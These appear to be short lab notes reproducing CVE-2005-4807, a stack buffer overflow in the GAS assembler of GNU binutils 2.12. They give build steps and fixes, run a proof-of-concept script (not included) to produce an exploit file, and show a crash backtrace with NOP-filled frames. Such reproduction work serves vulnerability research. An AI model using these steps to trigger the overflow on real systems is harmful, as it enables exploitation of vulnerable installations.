Ubuntu 14.04 LTS
wget https://github.com/mudongliang/source-packages/raw/master/CVE-2005-4807/binutils-2.12.tar.gz
tar -xvf binutils-2.12.tar.gz
cd binutils-2.12
./configure
make
/usr/bin/msgfmt: not found
Solution:
Run apt-get install gettext
/usr/bin/ld: cannot find -lfl
Solution:
Run apt-get install flex
sh gas_poc.sh > exploit.c
gcc -S -o exploit.s exploit.c
./binutils-2.12/gas/as-new exploit.s
GNU BinUtils 2.1x - GAS Buffer Overflow
gas/message.c:349
vsprintf (buffer, format, args);
#0 0x08058e31 in as_bad (format=Cannot access memory at address 0xbfffeacc
) at messages.c:344
#1 0x90909090 in ?? ()
#2 0x90909090 in ?? ()
#3 0x90909090 in ?? ()